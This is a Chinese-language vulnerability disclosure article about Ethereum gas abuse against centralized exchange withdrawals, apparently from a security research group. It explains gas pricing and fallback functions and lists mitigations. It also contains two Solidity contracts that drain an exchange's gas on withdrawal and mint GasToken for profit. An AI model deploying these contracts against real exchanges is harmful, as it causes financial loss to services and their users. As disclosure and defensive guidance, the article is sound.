Gas(矿工费)滥用漏洞的最新披露

相关图片

Gas是什么?

在英文中gas有燃气的意思,于是以太坊很形象地引用了这个词,在以太坊中可以把gas理解为“交易手续费”也可以理解为“矿工费”等等,凡是要上链的每一笔交易都必须支付手续费,以太坊网络就像是一个世界计算机,使用这个计算机的资源是必须付出相应的费用的。

基于这种经济模型,以太坊还衍生出来两个概念:gas limit和gas price。顾名思义,这两个概念可以理解为“燃气”上限和“燃气”单价,就跟开车一样,如果“燃气”上限给低了,就必然无法到达目的地,在以太坊中体现为交易失败且还白支付了矿工费,为了避免这种情况,现在的一些热钱包在进行交易之前都会先计算该笔交易需要消耗的gas,然后以此预估一个值设置为gas limit,问题就出在这里,后面再讲。

以太坊网络是不讲究先来后到的,矿工往往唯利是图,gas price就是愿意为每个gas支付的金额,比如普通用户直接的转账一般是消耗21000 gas,如果你gas price设为0.01 eth的话那消耗的手续费是gas * gas price=21000* 0.01=210 ETH(只是举例,没人会付这么高的手续费),所以gas price给得越高,矿工会更快确认你的交易。

中心化交易所提币功能

图片.png

使用过中心化交易所的朋友都知道,在用户向交易所发起提币请求之后,用户的钱包会收到一笔来自陌生地址的转账,这个地址是交易所的热钱包地址。

向交易所发起提币请求时,一般情况下交易所会收取你一定量的币作为转账的矿工费,比如0.009 ETH,但是交易所在向我们转账的时候所需要使用的矿工费一定会低于这个固定值吗?

不一定。

我们之前提到过:现在的一些热钱包在进行交易之前都会先计算该笔交易需要消耗的gas,然后以此预估一个值设置为gas limit。所以在特殊情况下,交易所转账需要使用的矿工费可能会大于那个固定值。

以太坊智能合约fallback函数

fallback函数是没有函数名的,在以太坊智能合约中可以用以下方式声明fallback函数

function () [payable] { //todo }

中括号内的为可选项。根据官方文档,这个函数的主要作用是:当有人调用该合约不存在的函数或者该合约收到ETH转账时被该函数就会被触发。

利用fallback函数滥用交易所gas

在交易所没在热钱包转账时设置最高gas limit的情况下,该交易所便存在gas滥用隐患。

首先我们在链上部署这么一个合约

contract Example {
    function () payable {
        for(uint256 i;i<100000;i++){
            keccak256(i);
        }
        address(你钱包的地址).transfer(msg.value);
    }
}

然后使用交易所提币到该合约地址,交易所向这个合约地址转账时,将消耗5821768个gas,当前网络的标准确认速度的gas price是4 Gwei,那么最终交易所将会消耗的ETH为5821768 * 4Gwei = 0.023287072 ETH,远超过之前看到的0.009 ETH的提币手续费,这样反复提币会使交易所造成大量的经济损失。

利用Storage gas refund机制来获利

目前以太坊主网上的账本大小已经超过1T了,运行全节点对节点的存储容量有很高要求,于是导致了运行全节点的数量急剧减少,以太坊开发者为了缓解这种情况新增了一个storage gas refund机制。

storage gas refund机制中其中有一项缓解措施就是:当用户执行selfdestruct销毁合约时,将获得一部分gas退款,这些退回来的gas可以在整个交易中被用来抵消。

利用这种机制,攻击者可以变相地把交易所消耗的gas“存”起来。目前利用这种机制来“存”gas已经有了一个成型的项目,名为GasToken(https://gastoken.io/)。

我们部署以下合约就可以使用交易所消耗的gas为我们铸造50个GasToken

contract Gastoken {
    function mint(uint256 value) public;
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
    function () payable {
        Gastoken(GasToken的合约地址).mint(50);
        address(你钱包的地址).transfer(msg.value);
    }
}

这样攻击者就可以获得交易所的一部分经济损失,以此获利。

以太坊中其他可能受影响的地方

ERC233、ERC721、ERC777、ERC677等等这些会调用不可控的外部函数的合约都可能存在这种隐患。

不仅如此,甚至是用户个人在向对方转账时,若未关注预估的gas limit,都有可能被对方滥用你的gas。

其他公链

在以太经典(ETC)或者其他转账时需要支付矿工费的公链中,都将同样存在这种隐患。

如何防范

  1. 普通用户提取Ether,检测地址是否为普通地址而非合约地址,且设置gas limit,一般取21000。

  2. 若允许向合约地址转账,务必计算向该合约转账所需要的gas,超出预期的部分由用户承担。

  3. 热钱包在发起交易之前计算gas limit,若该值过高则需要提醒用户。

参考

https://medium.com/level-k/public-disclosure-malicious-gastoken-minting-236b2f8ace38

https://drive.google.com/file/d/1mULop1LxHJJy_uzVBdc_xFItN9ck04Jj/view

*文章为作者独立观点,不代表BSCEC立场

转载此文章须经作者同意,并请附上出处(未知网站)及本页链接。

白帽汇安全研究院原创2018-11-22 12:48:11 2783